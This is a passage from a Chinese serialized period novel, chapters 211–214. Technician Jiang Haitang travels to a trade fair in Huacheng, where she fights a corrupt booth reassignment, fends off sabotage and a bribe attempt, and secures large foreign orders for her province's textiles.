颜培文觉得自己很委屈,找了地方坐着发呆,知道站前广场的喇叭正在播报:“开往花城的K***次列车即将发车,请旅客抓紧时间上车...“ 她立即往回跑,米色风衣在人群中划出一道仓皇的轨迹。 当她狼狈不堪地爬上车厢时,远处传来发车的哨声。 颜培文瘫坐在连接处,突然意识到一个可怕的事实,她必须去给那些“下等人”道歉,不,她不要。 颜培文想着,就算自己不去道歉,父亲也不会知道,算了,自己不去,等回头就说去过了。 车厢里的同志们也三三两两聊起天来,有人拿出扑克牌,还有些妇女开始织毛衣,热闹得不行。 很快,就到了晚餐时间,广播响起:“各位旅客请注意,餐车现在开始供应晚餐……” 姜海棠他们带着的吃食已经给吃完了,剩下的旅程要在火车上买饭吃。 周同志笑着邀请他们一同去吃饭。 “快到晚饭时间了,我们一起去餐车看看?” 姜海棠安排了两名同志看着他们的行李,和赵凯一起带着其他人去了餐车。 郑开河这边,也是一样的安排。 窗外,暮色渐浓。 列车呼啸着穿过中原大地,向着温暖的南方疾驰而去。 姜海棠望着远处闪烁的灯火,心中已有了打算,无论如何,这次广交会,一定要让龙省的产品大放异彩。 正思索间,忽然听到列车广播寻找医生,好像是七号车厢有人生病了。 七号车厢,正好是他们这列车厢的隔壁,姜海棠便想着过去看看,说不定能帮忙。 她招呼康小夏陪着自己一同去,却惊讶地发现,生病的正是之前被颜培文泼了水的大娘。 姜海棠忙上前抓住大娘的手,却发现大娘的手烫得惊人,“您发烧了?” 一旁的乘务员忙说:“这位大娘高烧,都快晕厥过去了。” 老妇人看到是姜海棠,忙挤出一抹笑容摇摇头:“没事,就是有点头晕……” 话音未落,老人突然向前栽去。 姜海棠赶紧扶住她,一摸额头滚烫得厉害:“小夏,我们是不是带药了?有没有退烧药?” “好像有,在知秋姐那里,我去找。”康小夏说着一溜烟的朝着他们所在的车厢跑去。 这时候,有两名医生一前一后赶到,在确定了大娘的情况之后说道:“老人身体弱,现在天气又不热,受了凉。先吃退烧药,吃了药烧能退下来就行,如果退不下来,下一站考虑送医院救治。” 康小夏这时候已经拿着退烧药来了,旁边有热情的乘客已经倒了水过来。 大夫照顾老大娘吃了药,说:“我们先留在这里观察看看。” 这一幕恰被吃完饭经过这里的颜培文看见,她瞧见姜海棠和老大娘,站在过道口冷笑:“要我说就是烟叶熏出病来的!” 第211章 据理力争 “你!”康小夏气得涨红了脸,攥着拳头的指节都泛了白,要不是姜海棠眼疾手快按住她的肩膀,她几乎要冲上去和颜培文理论。 姜海棠能理解她的怒火,从火车上的针锋相对,到此刻展位被恶意调换,颜培文的步步紧逼,早已超出了个人恩怨的范畴。 “都怪她,她不道歉,还不反省,真是太过分了。” “一切等到了花城再说吧,现在不是起冲突的时候。” 姜海棠是真的有点疲惫了,这一趟花城之行,怎么就遇到这么个神经病? 老妇人吃过药后沉沉睡去。 姜海棠一直守在旁边,时不时用湿毛巾给她擦汗。两个医生也一直守着,唯恐大娘病情出现反复。 周围的乘客中有人递过来一个小纸包:“这里有点白糖,加在水里,能补充体力。” 大娘吃了药后,大概一个小时左右就退烧了,姜海棠和两名大夫又守了半个小时,确定大娘没有反复发烧后才放心离开,各自回到座位上去。 第二天一早,吃早饭时,康小夏神秘兮兮地凑过来:“海棠姐,听说颜培文昨晚在卧铺车厢发了好大一通脾气,把杯子都摔了!” 姜海棠无奈地摇摇头,这个颜培文,还真是没吃过亏,不知道这天下人外有人山外有山啊! 也不知道,她父亲让她跟这一趟到底是好还是坏啊! 剩下的旅程,基本平稳,一行人很快就到了花城。 花城火车站外,热浪扑面而来。 饶是已经来过一次,已经有准备,姜海棠刚下火车,还是被南方的湿热空气裹得透不过气。 她抬手擦了擦额头的汗,看着站前广场上熙熙攘攘的人群,有挑着扁担的小贩、戴着斗笠的农民、穿着制服的公务人员…… 这座南方大城市的活力,与大西北的金城截然不同。 “海棠姐,车来了!”康小夏指着远处驶来的两辆解放牌卡车,那是广交会组委会安排来接站的车辆。 众人正要搬行李上车,突然一阵刺耳的喇叭声从后方传来。 一辆崭新的上海牌小轿车停在路边,颜培文拎着皮箱,从车站走出来,她的身后跟着两个穿中山装的办事员,殷勤地帮她拉开车门。 “哟,这不是姜老师吗?”颜培文瞥了一眼正在装车的纺织厂众人,红唇勾起一抹讥讽的笑,“坐卡车啊?真是辛苦了呢。” 康小夏气得攥紧了拳头,姜海棠按住她的肩膀,平静地回道:“颜同志和我们自是不一样的,您先请吧。” 颜培文冷哼一声,弯腰钻进轿车。 车窗摇下时,她故意提高声音对司机说:“先去东方宾馆,我要换身衣服再去展馆——这破火车坐得我一身汗臭,都快跟某些人一样了。” 轿车扬长而去,留下一股难闻的汽油味。 “呸!”康小夏对着车尾狠狠啐了一口,“不就是仗着有个当官的爹吗?神气什么!” “欲使其灭亡,必先使其疯狂。不要理会她,我们抓紧时间。”姜海棠拍拍手招呼大家。 赵凯也没有多关注离去的人,扬声喊道:“时间紧张,大家辛苦一下,咱们必须要在广交会开幕之前把展位布置好。” 一行人为了赶时间,甚至都没有先去招待所办理入住,而是直接去了展馆。 卡车驶过繁华的市区,街道两旁张贴着“欢迎参加春季广交会”的标语。 当车子停在流花展馆前时,有工作人员出面接待,一行人获悉他们的展位竟然被安排在最角落的C区23号,一个几乎被柱子挡住的位置。 姜海棠的心沉了下去,这个位置,实在是太糟糕了,要说没有人从中作梗,姜海棠是不愿意相信的。 “这位置也太偏了……”郑开河脸色难看地翻开展位图。 “没想到,颜主任为了这个女儿,连集体的利益都不要了,连龙省的面子都不顾了。” 赵凯捏紧拳头:“真是欺人太甚,他们难道忘了,我们都是代表龙省的?” “出气要紧,别的不能做手脚,难道展位还不能动动手脚?”姜海棠冷笑着。 “那现在怎么办?”郑开河问。 “先看展位图。”姜海棠将那张皱巴巴的图纸在展台上铺开,指尖重重点在A区15号的位置。 “我们龙省的展位原本在这里,我之前已经和组委会确认过。”赵凯疲惫的说道。 “你们看标注的展品类别‘涤棉混纺及化纤制品’,和咱们带来的产品完全基本相同。” 赵凯突然想起什么,从随身的公文包里翻出一份文件:“我这儿有省厅转发的参展名录!岳省轻工原本报的是丝绸制品,根本不是混纺布!这是临时换了展品,意思再明显不过!” 郑开河想到了什么,的脸色瞬间沉得像要滴出水来。 “郑厂长,赵厂长,这个亏我们不能就这么咽下去,就算到最后解决不了问题,也该问一问,我打算去移趟组委会办公室。”姜海棠声音平静却透着不容置疑的坚决。 “我跟你一起去。”赵凯沉着脸跟上,“这事不能就这么算了。” 他才是纺织厂的负责人,不能什么都让姜海棠承担。 “我也去,我和赵厂长是两个厂的负责人,有这个义务!” “其实,郑厂长您不用这样,这次针对的是纺织厂!”姜海棠劝说。 “唇亡齿寒的道理我懂,我们是一起来的,商贸厅的领导说得也很清楚。” 姜海棠没有继续拒绝,毕竟,两个人的分量更足一点。 “我们要不要先找省厅的领导商量一下?”赵凯忽然想起还有带队领导。 “领导有事出去了,这会儿不在,但咱们展位的问题不能拖。”郑开河拧眉说。 也不知道领导到底是真有事出去了,还是已经得到了什么消息才离开的。 “那就不等了。”姜海棠想到领导可能是故意躲出去这个可能,直接开口。 三人穿过嘈杂的展馆,沿途各代表团正热火朝天地布置展位。 A区15号前,几个穿着时髦的年轻人正在悬挂彩色灯笼,开心地笑着说着方言布置着展台。 一个梳着油头的年轻男人正指挥着工人:“把那匹天蓝色的挂高点,这块布颜色鲜亮,让外商一进门就能看见!” 赵凯眯着眼看了半晌,突然冷笑一声:“那布的经密最多200根,纬密150都不到,洗两次就得变形,也敢摆黄金位置?” 姜海棠的目光却落在对方展位的宣传画上印着“岳省最新工艺”的标语旁,画着几个模糊的机器图案。 她不动声色地掏出小本子记了几笔,嘴角勾起一抹冷峭的弧度。 赵凯心中不忿,但也没办法就这样争执,只能扭头不看。 姜海棠拦住一个路过的工作人员问:“同志,请问组委会办公室怎么走?” 工作人员打量着她一眼,语气敷衍,很是不耐烦:“现在都忙着布展呢,有事等明天开幕再说。” “我们有重要的事情向领导汇报,耽误了,你能担得起责任?”姜海棠板着脸一脸严肃的说。 “事关展位分配错误,必须现在解决。“郑开河亮出工作证。 工作人员神色微变,不情愿地指了个方向。 组委会办公室里烟雾缭绕,几个干部模样的人正在喝茶聊天。 赵凯姜海棠敲了三下门才得到回应。 “什么事?”一个梳着背头的中年男子头也不抬地问。 “您好,我们是龙省代表团的。”姜海棠将展位通知书放在桌上,“我们的展位被错误调整到了C区,请予以更正。” 背头男子这才抬起头,眯着眼看了看通知书:“哦,这个啊。展位紧张,临时调整很正常嘛。” “广交会的参展手册第17页明确规定,临时更换展品类别需提前72小时报备,并重新审核展位资格。岳省轻工既未报备,又与我方展品高度重合,凭什么占据A区15号?” “哎呦,这话可不能乱说。人家岳省的工艺更先进,外商就认这个。你们西北的土布嘛……放C区也挺合适。”男子掸了掸烟灰,丝毫不觉得有错,反而语气里都是讥讽。 “您确定?” “确定,有什么不确定的,全国谁不知道,你们龙省是什么鸟不拉屎的地方?怎么,你们还有本事弄出好东西?” “这是我们龙省的涤棉混纺,经纱用的是西疆长绒棉,60支精梳工艺,纬纱掺了18%的进口涤纶,耐光色牢度达到4级以上。” 姜海棠一双眼睛不带温度地打量了一下那明显看不起龙省的男人,一番话说得和缓但有力。 “岳省的样品,用的是普通陆地棉,40支普梳,涤纶含量超过30%,按国际标准只能算劣质品。” 这番话像颗炸雷,让办公室里瞬间安静下来。 一个戴眼镜的干部忍不住探过头:“小姑娘对布料很懂啊?” 背头男人被问得哑口无言,一时恼羞成怒。 姜海棠还是步步紧逼,“同志,能否出示展位调整的书面通知?” 第212章 龙省同意了 “口头通知!哪来那么多文件!你当我们广交会是什么地方?能围着你们龙省这鸟不拉屎的地方转?”男子不耐烦地挥手,“赶紧去布展,别在这儿耽误我们的工夫。” “如果我们不同意呢?”姜海棠寸步不让,目光扫过在场的每一个人,“广交会是国家外贸的窗口,不是某些人谋私利的地方!今天这事要是不解决,我们就去找外贸部的监察组,我就不信,没人管得了这种损公肥私的勾当!” 男人正想找借口搪塞,颜培文却像踩着点似的走了进来。 她今天换了身月白色西装套裙,踩着细跟小皮鞋,走路时裙摆扫过地面,带起一阵淡淡的香水味。 她故作惊讶地挑眉:“郑厂长和赵厂长不去布展,怎么来这儿了?” 郑开河和赵凯两个人都没有说话,只是眉头越拧越紧。 尤其是郑开河,真是深深懊悔,怎么就带了这么一根搅屎棍来参加广交会? 只是搅屎棍也就算了,还是个有后台,他没有办法管得搅屎棍。 “颜培文同志,你不在宾馆熟悉翻译内容,为什么来这里?”郑开河冷着脸问。 “这不是我爸爸让我过来和各位叔叔打个招呼!”颜培文坐下来,有一搭没一搭地回话,甚至正眼都没给郑开河这位副厂长一个。 郑开河如何不明白,这是颜培文在点自己呢。 可都已经闹成这样了,不管怎么样,回去之后,颜家都不会放过自己,想明白了,郑开河反而通透了。 他才要开口要求颜培文回去,就听到颜培文又说话了。 “哎呀,姜老师怎么在这儿?该不会是……”她瞥了眼桌上的文件,“原来是对展位不满意啊?” 一名精瘦的老头儿满脸堆笑:“培文侄女来啦?你爸爸的电话我们收到了,这样的安排,不知道侄女还满意不?” 姜海棠心道:果然如此。 就是不知道,只是为了挟私怨打压,还是借故达成了某种利益输送。 姜海棠心里更愿意相信,是达成了利益输送。 岳省这边估计答应了什么条件,才让颜主任宁愿损害龙省的利益也要打压自己的参展厂家。 “张叔叔,我很满意,我觉得,这样最能体现公平……有些土特产确实不适合放在主展区。”颜培文意有所指地说。 此时的颜培文,丝毫没有觉得自己这么说有什么不对,她似乎已经忘了,自己是龙省代表团的一员,龙省的荣誉和她息息相关。 郑开河捏紧拳头,问:“颜培文,你还记得你的身份吗?龙省的代表团丢脸,对你有什么好处?” “没什么好处,那又怎么样?谁让我看有些人不顺眼呢?要不,姜老师,你给我道个歉?”颜培文的目光盯着姜海棠,眼中都是恨意。 姜海棠其实一直都没明白,为什么颜培文对自己有这么大的恶意,明明两个人接触得都很少。 “颜培文,我什么地方做错了?需要向你道歉?” 姜海棠没有顺着颜培文的意思,选择息事宁人,而是选择直接怼回去。 颜培文显然也没想到,姜海棠会这样不给面子,她刚才敢说这话,就是笃定姜海棠会为了大局选择委曲求全。 “姜海棠,你有没有大局观?” 姜海棠无语。 “颜培文,到底是谁更没有大局观?从火车上到现在,你所作所为需要我给你说一遍吗?” “你是机械厂的翻译,我是纺织厂的技术人员,我们并没有冲突,可从上车开始,你不断地针对我,到现在更是连整个龙省代表团都被你针对。” “你要不要想一想,你父亲的身份,你们这样做真的好吗?就不怕回头没有办法给龙省人民一个交代?” 姜海棠把话都说开了,办公室瞬间安静。 就在这时,门外传来一阵沉稳的脚步声。 姜海棠下意识回头,就看到火车上那个戴眼镜的中年人不知何时站在了门口。 张主任手里的烟掉在了地上:“周……周部长?” 原来,这个和他们一路坐着火车到花城的戴着眼镜的男人,竟然是外贸部的周副部长。 周副部长拿起桌上的文件看了看,冷着一张脸说:“有意思,我昨天才审过最终展位表,怎么今天就变了?” 那个张主任额头上立即冒出大颗大颗的汗珠子。 “周副部长,是这样的……是……是岳省那边的展品更……更符合外商需求……” “你不用解释,龙省的位置,是外贸部定下的,我不管你们用什么办法,一个小时之内,将展位调整回去。” 背头男人吓得腿一软,结结巴巴地说:“岳省已经开始布展了,只怕不好调整了……” “已经开始布展,那就拆了!没有规矩不成方圆,连展位这样的大事,你们都能背着我调整,还有什么事是你们不敢做的?” 颜培文站在一旁,手指绞着连衣裙的衣角,刚才的嚣张气焰荡然无存。 她没想到姜海棠竟然能得到周副部长的支持。 颜培文在火车上的时候,并没有注意到这个戴着眼镜的平凡的小老头儿,因此,她根本不知道,姜海棠和周副部长是在火车上见面的,只以为两个人早就有渊源。 她越发肯定了,姜海棠能认识这样的大人物,是因为陆良辰。 陆良辰是京城人,听说家里底蕴深厚,陆良辰刚到龙省,她父亲就想把她和陆良辰凑成一对,无奈陆良辰装傻充愣就是不同意。 如果陆良辰最后选择了一个各方面都比她出色的,她心气儿也就顺了,谁知道,陆良辰最后竟然找了一个乡下姑娘,这让心高气傲的颜培文不能接受。 后来,姜海棠甚至还给她当老师,她如何能甘愿! “先处理展位的问题,一个小时之后,来给我汇报工作进展情况,并解释为什么会出现展位临时调整的问题。” 张主任想了想,咬牙开口说:“周副部长,展位调整,是龙省那边同意,我们才进行调整的。” 张主任的话像一块石头砸进平静的水面,办公室里所有人的目光都转向了他。 “龙省同意的?”周副部长镜片后的眼睛微微眯起,“谁同意的?” 张主任的喉结滚动了一下,目光不自觉地瞟向颜培文。 “是……是龙省革委会分管外贸的颜副主任亲自打的电话……” 颜培文的脸刷地一下变得惨白。 她猛地站起来:“张叔叔!你胡说什么!我父亲怎么可能……” 话说了一半,她停了下来,她想起来了,是她在商都的时候给父亲打了电话,或许就是为了给自己报仇,父亲才会这么安排。 “她是什么人?”周副部长皱眉问。 “这位就是颜副主任的女儿颜培文!”张主任急忙介绍。 “不相干的人为什么会出现在这里?”周副部长更加不高兴了,这一届的组委会也太失职了。 “她是龙省代表团的人!”张主任讷讷解释。 今天估计这事儿一定不能善了,张主任也顾不得周全别人了,打算先周全自己。 “把岳省那边的负责人也给我找过来,还有龙省这边的负责人,为什么是参展厂子自己出面,负责人是干什么吃的?” 周副部长到了这时候,基本上就是迁怒了,但就算是迁怒,别人也不敢多说什么。 手底下的人马上去找岳省和龙省的负责人了。 周副部长另外又安排,先纠正展台,让各个参展单位能尽快布展。 当岳省代表团的人不情不愿地从A区15号撤出来时,赵凯正指挥着工人把金城纺织厂的样品一样样地搬进去。 赵凯亲自踩着梯子,将一匹孔雀蓝的混纺布高高悬起,布料在灯光下泛着柔和的光泽,引得路过的几个外商都驻足观望。 从梯子上爬下来之后,看着重新布置的展位,突然感慨道:“要不是你坚持,咱们这次真的栽了。” 姜海棠擦了擦额头的汗,望着展馆入口处涌动的人流,坚定地道:“这才只是开始,咱们要让所有人看看,龙省的布料,不输任何人。” “颜主任,为什么要这么做?我们多赚外汇不好吗?”康小夏很是不解。 大家都是为了龙省,作为大领导,怎么能同意将自己家的展位调换到那样偏远的角落里? 康小夏的脑子想不到这么多,只是觉得心塞难以接受。 “等调查结果出来就知道了,我相信,周副部长会给我们一个答案!” 虽然是第一次见周副部长,但姜海棠对这位老人却很是信任。 “嫂子,我们会不会给厂长带来麻烦?”赵凯这时候忽然有些底气不足了。 自家团长已经够艰难了,万一带来麻烦怎么办? “没事,如果他在,也会支持我们这么做的。” 话虽然这么说,但姜海棠觉得,还是应该提前给陆良辰说一声,免得陆良辰陷于被动。 电话打通之后,陆良辰听了姜海棠反馈的信息,陷入沉默。 这事情,于情于理都透露出不正常,毕竟,如果这一次龙省的代表团没有取得好成绩,也是会影响颜主任的。 如果只是为了给女儿出气,应该不至于。 “海棠,这件事,我会着手调查,你和赵凯不用担心,你们只管做好广交会上的工作就行。”陆良辰低声安抚姜海棠。 第213章 心情沉重 电话那头,陆良辰的声音低沉而坚定:“海棠,这件事不简单。你在花城一定要小心,至于你担心的问题,我会想办法处理,你和赵凯安心搞好广交会上就行。“ 虽然陆良辰话说得很坚决,但姜海棠还是担心有问题,她又叮嘱道:“虽然目前看起来,问题是在花城这边,但是我担心……反正,你在京城也要照顾好自己和小桃子。” “海棠,我想起一件事,我这边得到了一个消息,不是十分准确,岳省那边,可能引进了一套和我们类似的纺织生产线,也是生产混纺呢料的。” 姜海棠立即意识到,岳省占据他们比较好的展位,或许是与此有关。 “他们难道还怕我们的产品抢了风头?” “或许,颜副主任这个人,并不是个会为了给女儿出气就不计后果的人,他能答应岳省那边的要求让出展位,最大的可能是,那边许诺了他什么。”陆良辰顿了顿,“这事你先别声张,我会继续查。” 挂断电话,姜海棠站在邮电局门口,望着花城繁华的街道出神。 远处,几个穿着时髦的年轻人正对着橱窗里的进口布料指指点点,那神情就像在看什么稀罕物。 五月的花城,已经有些闷热,让姜海棠心神不宁。她觉得心里沉甸甸的,总觉得好像要出什么事。 “海棠姐,出事了!咱们的样品被人动了手脚!”康小夏气喘吁吁地跑来,连气息都没喘匀磕磕巴巴地说了这个不好的消息。 展馆里,赵凯正脸色铁青地站在A区15号展位前。 那块漂亮的蓝色的混纺布上,赫然出现了一道刺眼的油渍。 “刚才我去上厕所,回来就发现这样了。”一个工人红着眼睛说,“就五分钟没看着……再知道,我就不离开了。” 姜海棠蹲下身,用手指捻了捻油渍:“是机油,还没完全干透。可见,动手的人刚刚离开。”她抬头看向四周,“刚才谁来过?” “我回来的时候,看到岳省的人……”还是那名工人。 赵凯咬牙切齿,“肯定是他们搞的鬼!这是报复我们占了好展位,成心要坏了我们的好事!” 他一拳砸在展台上,红着眼睛说:“我要去找组委会!“ “等等。”姜海棠拦住他,“没证据的事,闹大了反而显得我们无理取闹。” “这个哑巴亏难道我们就要这么吃下?”赵凯不甘心地说。 “君子报仇十年不晚,如果是他们,他们肯定还会跳出来,我们后面谨慎一点。”姜海棠从工具箱里取出剪刀,“小夏,帮我把这块剪下来。” “剪了?”康小夏瞪大眼睛,声音都有些哽咽,“这可是咱们最好的样品!” 不管从颜色,还是质地,这都是他们这一次带过来的最好的布料,要是就这么剪了,她舍不得。 姜海棠已经利落地剪下一块正方形布料。 “总不能挂着这么一块已经有瑕疵的布料吧?我们把这上面完好的料子剪成小样送给客商品鉴。 既然有了蓝色的布料,她索性又剪了几块不同颜色的布料,用别针固定在展板显眼处,形成一个扇形。 “看,这不就成了特色展示?“ 众人眼前一亮。 单调的大块布料展示,变成了错落有致的小样拼贴,反而更显精致。 那块被剪去的油渍部位,正好成了展示布料横截面的窗口。 “妙啊!”郑开河原本正在机械厂的展区布展,听说纺织厂这边出问题了,立即赶过来,就看到姜海棠临危不惧处理问题,拍案叫绝,“姜工,你这脑子转得真快!” 姜海棠笑了笑,目光却扫向不远处岳省的一行人。一个男人正阴沉地盯着这边,见她看过来,恶狠狠地看了她一眼,转身离去。 姜海棠闹不明白,为什么岳省的人抢了他们的展位,他们只是拿回来,岳省的人就这么大的恶意。 “赵厂长,岳省这边的人,敌意很大,今晚你安排两个人守着展位,以后,只要展区开门,就要安排人盯着。”姜海棠低声说。 这一次,只是给样品布抹上油污,下一次呢? 夜幕降临,展馆渐渐安静下来。 虽然赵凯已经安排人守着,但姜海棠还是不放心,也跟着守到了最后, 姜海棠最后一个离开展馆,走到门口时,被一个穿中山装的中年男子拦住。 “姜海棠同志?”男子问。 姜海棠确定自己不认识这个人,但对方问了,她便也点头:“是的!” “我是粤省纺织研究所的刘工,想跟你聊聊。” 姜海棠警惕地看着他:“什么事?” “关于你们的混纺配方,有人出高价要买,价钱好商量……”刘工压低声音,似乎怕周围还有人听到他们说话。 姜海棠心头一跳,面上却不显:“刘同志找错人了,配方是厂里的集体智慧,我个人无权处置。” “别急着拒绝,这笔钱能解决很多问题,也能够保证你以后都过上吃香喝辣的生活。” 姜海棠心中已经升起防备,但表情却依旧平淡。 男人看到她不说话,笑了笑:“明天开幕式后,有个国外客商对你们的布料‘很感兴趣’,姜工好好考虑吧。” 正在这时候,纺织厂两名去上厕所的同志回来了,那男人大步离开,没入夜色。 看着男人远去的背影,姜海棠的手心全是冷汗。 她意识到,这不是简单的商业竞争,而是一场可能与敌特相关的战争。 看来,就算金城那边的敌特已经处置了,并不意味着,整个国内就是一片祥和的。 只是不知道,岳省那边究竟是什么情况,而颜副主任在其中,又是什么作用。 回到招待所,姜海棠翻来覆去睡不着,第二日一大早,她又去了邮局给陆良辰打电话,将这边的情况告知。 听完她的叙述,电话那头沉默了很久。 “海棠,这件事,你亲自去给周副部长汇报一下,周副部长是可信的。另外,不管什么情况,你都要确定你的身边有其他同志在,不要单独与任何人见面。” 挂断电话,姜海棠站在电话前面缓和了一下心情,才转身去了广交会的现场。 今天是广交会正式开幕的日子,而她面临的,将是一场没有硝烟的战争。 刚到广交会现场,康小夏就朝着她冲过来,康小夏的手里还举着一份《南方日报》,脸上都是抑制不住的激动。 “咱们的技术登上报纸了,海棠姐,报上登了咱们的混纺呢料!” 因为激动,康小夏的声音都有些颤抖。 姜海棠接过报纸,在第四版右下角看到一则小消息:《龙省创新混纺技术取得突破》。文 章虽短,却明确提到了金城纺织厂和混纺呢料的特点。 “这是周副部长安排的。”郑开河正好走过来,“我刚从组委会回来,听说今天会有东欧代表团专门来看我们的产品。” 姜海棠问:“郑厂长,周副部长现在在组委会那边吗?” 郑开河点点头:“我过来的时候还在,你现在过去应该能找到。” 姜海棠道谢之后,转身去了组委会办公室那边。 郑开河问:“赵厂长,你们这边能应付吗?需不需要我那边安排人过来协助你们?” 赵凯摇头:“多谢郑厂长,暂时应该没问题,如果中间遇到困难,我会让人去找你们求助。” 两家展台虽然距离不算太远,但毕竟不在同一个种类的区域,来回跑,要花点时间。 姜海棠找到周副部长,将情况仔细给周副部长汇报了。 周副部长开始听的时候,还没觉得有什么,到了后面越听表情越凝重。 “姜海棠同志,我会安排人保护你以及金城纺织厂,也会安排人调查这件事。” 等姜海棠和周副部长谈完话,展馆早已人山人海。 姜海棠好不容易挤到A区15号展位,就看到已经有几个高鼻深目的外国人在展位前驻足。 这几个人是带了翻译的,康小夏和韩知秋两个人也能用外语和他们对话,沟通上没有太大的问题。 姜海棠只是站在角落里看着,并没有上前。 她今天的目标就是低调做人。 其中一位灰发男士笑着用英语说:“我是汉斯·穆勒,对你们的混纺技术很感兴趣。听说,这是你们自主研发的?” 姜海棠立刻精神紧张起来,莫非,这就是那位刘工说的,要来找自己的人? 她装作若无其事的样子,继续站在一旁。 韩知秋很得体地笑着应对:“是的,先生,这是我们厂的科研团队自主研发的技术,目前,这项技术在国际上也是处于领先地位的。” 接下来的半个小时,对方和韩知秋你来我往的说话,期间,有好几次提到能不能见见研发人员。 但韩知秋和姜海棠是有些默契的,在接收到了姜海棠的暗示之后,韩知秋一口咬定,技术人员不在,暂时没有办法满足他们的愿望。 对方显然很失望,最后只说,再去其他展台看看就走了。 康小夏看着对方拉拉杂杂的说了这么长时间,最后还走了,心情就有些受到影响了。 “怎么会这样,我们说了这么多,他们一句还要看看就走了?” 韩知秋安抚她:“这其实很正常,要是每一个来展台的客商都和我们谈成生意,那我们还不发财了?” 第214章 广交会第一天 “你们去年谈得也这么艰难吗?”康小夏好奇地问。 “三天都未必能谈成一笔,不过,不管怎么样,我们还是要积极主动努力地争取。” “好,知秋姐,我也会努力的。”康小夏到底年轻,很快就调整好了精神状态,打算大干一场。 他们今年的展位比去年的大,而且位置更好,加上他们的场馆布置很用心,比去年吸引的外商要多上很多。 姜海棠和韩知秋、康小夏三个人一起接待客商,给客商讲解他们的呢料优点,他们的呢料最具有优势的点就是通过科学配比,兼具保暖性和耐磨性。 这一点吸引了苏国客人,他们很明显对于具有保暖性的料子更加感兴趣。 姜海棠趁机提供了小样,“我们可以提供样品检测。这是不同厚度的样品,分别适合制作大衣或西装。” 一名叫做洛夫斯基的客商在和同伴交谈几句之后,突然问道:“你们月产量多少?价格如何?” 姜海棠心跳加速,这是要下单的节奏!她立即镇定自若地回答:“目前月产两万米,价格是每米12卢布。如果订单量大,可以优先安排生产。” 正当穆勒掏出笔记本要记录时,一个尖锐的声音插了进来:“诸位!他们的技术是抄袭我们的!我们才是正宗的,而且我们的价格更加低廉。” 突如其来的变故让所有人都吃了一惊。 姜海棠看着来势汹汹的一行人,不由拧眉,这种时候,如果和岳省的人起冲突,无疑会让华国成为笑话,但如果不和岳省起冲突,一定会影响龙省的形象。 姜海棠的手指在样品布料上微微收紧,面上却依旧保持着得体的微笑。 她目光扫过岳省代表团领头人那张得意的脸,认出正是昨天在展馆外拦住她的刘为民。 “这位同志,你们这样上门抢客人的做法,违反了广交会相关规定。”姜海棠声音清亮地反驳之后,用流利的外语对外商道歉,请他们稍等。 刘为民高声叫道:“你们龙省穷乡僻壤,哪来的技术力量?就这样落后的纺织品,也敢让外商看,不怕丢了华国的脸?” 姜海棠不理会刘为民,而是转身对洛夫斯基等人说:“我国还有类似的纺织品,他们想邀请诸位去他们的展台参观一下,请问几位意下如何?” 姜海棠分别用两种语言说了这番话,一时之间,所有的人都惊讶地看着她。 毕竟,广交会这么多年,还真没见过要让来自家展台的客人同时去别人家展台看看的。 洛夫斯基等人简单的沟通之后,觉得再去其他展台看看是个很好的建议,立即答应下来。 一行人很快到了岳省的展台,果然,两家的呢料类似,但在质量上,根本不在同一个级别。 能来这里的,都是懂行的人,尤其是洛夫斯基等人的手里还拿着小块的呢料样品,两相对比之后,连连摇头。 “姜小姐,我们还是想去你们的展台看看。” 有了岳省展台面料的对比,洛夫斯基等人对龙省的料子更加感兴趣了。 “不可能,你们到底用了什么手段?”刘为民不肯承认自己的面料不好,只能将问题找到别人的身上。 姜海棠正要反驳,一个洪亮的声音从人群后方传来:“谁说龙省没技术力量?今天的《南方日报》还没有看?上面就刊登了这项技术的相关情况。” 人群自动分开,周副部长带着几位老干部走了过来。 在场的人很多都认识周副部长,刘为民看到来了大领导,也不敢多说话了。 洛夫斯基对姜海棠竖起大拇指:“你们,真正的技术!” 刘为民脸色铁青,还想争辩,周副部长厉声喝道:“够了!刘为民同志,你涉嫌诬陷兄弟单位,破坏外贸工作,现在立刻跟我去组委会说明情况!” 岳省这一次处处不讲规矩,尤其是这个刘为民,明显有问题。 刘为民并不知道,周副部长的人已经盯上他了,还暗暗地冲着姜海棠咬牙。 洛夫斯基当场签下了十万米的订单,是原先预计的五倍! 更让人惊喜的是,其他几位客商看完整场风波后,再次到龙省的展台上参观,在参观的过程中,发现龙省的羊毛衫工艺也非常不错,而且花样很好。 姜海棠拿起一件枣红色羊毛衫:“这是我们新开发的羊毛衫,经过特殊处理不会缩水。” 她突然将羊毛衫团成一团,塞进准备好的水盆里,倒入清水。 在众人惊讶的目光中,她按下秒表:“请各位计时,三分钟后取出。” 三分钟到,姜海棠拧干羊毛衫,当众抖开——衣物完好如初,没有丝毫变形! “太神奇了!”洛夫斯基忍不住用中文惊叹,“这种技术在我国都没见过!” 姜海棠趁机递上样品:“我们还有二十多种颜色可选,每件只要二十五卢布。如果订单超过一万件,可以免费提供定制标签服务。” 洛夫斯基等人立刻围成一团低声讨论。 姜海棠也不打扰他们,而是转头和正在一旁看着他们的周副部长等人说话。 “小姜同志啊,你很厉害嘛。” 他确实没想到,小姜同志除了是技术人员之外,外语说得也很流利。 “您过奖了,我还有很多需要努力的地方。” “你的外语很流利,我们现在需要这样的人才。” 这边话音刚落,洛夫斯基等人已经讨论完毕。 姜海棠给周副部长说了抱歉之后,立即开始下一轮的推荐工作。 他不慌不忙地取出一个相册:“这是我们生产的工装毛衣,已经通过零下二十度耐寒测试。” 洛夫斯基翻看着相册,突然指着其中一页:“这个高领款式,我们要五千件!” “感谢惠顾。”姜海棠从容地取出合同,“为了表示诚意,我们愿意提供独家销售优惠,鉴于您同时订购混纺呢料,针织品可以享受95折优惠。” 其他几个客商听到,同时订购两样物品,还能享受折扣,也没忍住,又订了一些羊毛衫。 短短的一个上午,只是这一批客商,就让龙省取得了开门红。 赵凯捧着订单合同,都要高兴傻了:“同志们,我们创造了龙省纺织厂单日外汇成交记录!” 周副部长笑着说:“姜海棠同志,你为国家和集体争光了!你们龙省,为华国争光了啊!” 龙省一个西北边陲的省份,能取得这样的成绩,着实让他有些意外。 毕竟,之前连续好几年,龙省的纺织厂都没有取得什么好成绩,也就是去年的秋季广交会,才稍见成效,没想到几个月之后,他们这样能打。 看起来,他们对于各省的综合实力,还是不够了解啊! 一行人还没来得及高兴多久,郑开河那边来人了,请姜海棠过去当翻译。 机械厂这一次安排的翻译是颜培文,原本以为,颜培文看不上这个,看不上那个,应该很有水平,谁知道,今天客商一来之后,颜培文根本就一直在掉链子。 郑开河没有办法,只能让人过来请姜海棠。 “周副部长,我现在要去一趟机械厂的展台。” “你还兼机械厂的翻译?机械厂有许多技术术语,你能翻译吗?” 